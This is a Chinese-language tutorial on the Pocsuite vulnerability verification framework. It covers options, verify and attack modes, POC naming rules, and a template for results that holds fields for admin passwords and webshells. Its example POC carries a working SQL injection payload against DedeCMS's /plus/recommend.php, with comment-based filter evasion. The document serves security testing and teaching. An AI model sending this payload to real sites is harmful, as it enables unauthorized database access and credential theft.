0x00 关于Pocsuite

Pocsuite 是知道创宇安全研究团队打造的一款基于漏洞与 POC 的远程漏洞验证框架。可以让我们不用考虑过多的细节，只要考虑验证代码就可以，它封装了一些我们常用的东西，比如requests，在我们平常使用requests是要考虑cookie、要考虑header，但是在框架下则不需要有这些考虑，因为这些东西框架都帮你解决了。

0x01 简单介绍

• 安装
  • 使用pip install pocsuite即可安装
• 常用参数
  • -u 指定一个目标url
  • -f 指定一个存放目标url的文件
  • -r 指定一个存放poc的文件夹
  • –report 导出结果到html文件
  • –cookie 携带cookie
  • –referer 修改referer
  • –user-agent 修改UA
• 模式
  • 执行一个poc有两种模式
    • --verify 漏洞验证模式(只是验证，不能更改服务器的东西)
    • --attack 漏洞利用模式
  • 示例
    • pocsuite -u "http://www.xxxx.com" -r poc_path/poc_name.py --atack

• poc编写

  • 可以新建一个文件夹，命名为mypoc，里面就放你自己写的poc(当然也可以在mypoc里新建文件夹放一类poc，对poc进行分类)
  • 此时示例(对目标进行常见服务的测试，加载一类多个poc脚本)
    • pocsuite -u "http://www.xxxx.com" -r poc_path/server/ --verify

• poc的命名规范

  • 漏洞ID_版本号_漏洞类型(其中不能有大写字母，所有符号要改为"_"),大致如下：
    • _xxxx_struct2_2016_s2_016_code_execution.py
    • _xxxx_dedecms_20130715_sql_inj.py

• poc的编写流程

  • 导入pocsuite API模块
  • 创建TestPOC类
  • 填写POC信息
  • 编写_berify()方法
  • 编写_attack()方法
  • 注册类

0x02 实例

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入pocsuite的必要模块
from pocsuite.net import req # requests模块，和requests用法完全一样
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    """docstring for TestPOC"""
    vulID            = ''      # VUL ID
    version          = ''      # 版本号,默认为1
    author           = ''      # POC 作者的大名
    vulDate          = ''      # 漏洞公开的时间,不知道就写今天
    createDate       = ''      # 编写 POC 的日期
    updateDate       = ''      # POC更新的时间,默认和编写时间一样
    references       = ['']    # 漏洞地址来源,0day 不用写
    name             = ''      # POC 名称
    appPowerLink     = ''      # 漏洞厂商主页地址
    appName          = ''      # 漏洞应用名称
    appVersion       = ''      # 漏洞影响版本
    vulType          = ''      # 漏洞类型,类型参考见 漏洞类型规范表
    desc             = ''' ''' # 漏洞简要描述
    samples          = []      # 测试样例,就是用 POC 测试成功的网站url，选填
    install_requires = []      # POC 第三方模块依赖，请尽量不要使用第三方模块

    def _verify(self, verify=True): # 漏洞测试代码
        result = {}
        target_url = self.url

        # 这里写入漏洞测试代码
        path = "/plus/recommend.php"
        payload = "?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,(select md5(512341)),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294"
        html = req.get(target_url + path + payload, timeout=10).content
        if '5e8523b1645e6225001b9027cddc1c85' in html:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url + path
            result['VerifyInfo']['Path'] = path
            result['VerifyInfo']['Payload'] = payload
        
        return self.parse_attack(result)

    def _attack(self): # 漏洞利用代码
        # result = {}
        # # 先进行检测是否存在漏洞
        # if not self._verify(verify=False):
        #     return self.parse_attack(result)
        # target_url = self.url

        # # 这里写漏洞利用代码

        # return self.parse_attack(result)
        
        return self._verify() # 如果没漏洞利用代码，可以直接return测试函数

    def parse_attack(self, result): # poc输出函数，可以输出错误和成功信息
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Nothing returned')
        return output

register(TestPOC) #注册类

0x03 关于poc中result字典的内容

# result是一个字典，里面存储所有的漏洞信息:
result：{
    'DBInfo': {
        'Username': '管理员用户名',
        'Password'：'管理员密码',
        'Salt': '加密盐值',
        'Uid': '用户ID',
        'Groupid': '用户组ID'
        }
    'ShellInfo': {
        'URL': 'Webshell地址',
        'Content': 'Webshell内容'
        }
    'FileInfo': {
        'Filename': '文件名称',
        'Content': '文件内容'
        }
    'XSSInfo': {
        'URL': '验证URL',
        'Payload': '验证Payload'
        }
    'AdminInfo': {
        'Uid': '管理员ID',
        'Username': '管理员用户名',
        'Password': '管理员密码'
        }
    'Database': {
        'Hostname': '数据库主机名',
        'Username': '数据库用户名' ,
        'Password': '数据库密码',
        'DBname': '数据库名'
        }
    'VerifyInfo': {
        'URL': '验证URL',
        'Postdata': '验证POST数据',
        'Path': '网站绝对路径'
        }
    'SiteAttr': {
        'Process': '服务器进程'
        }
}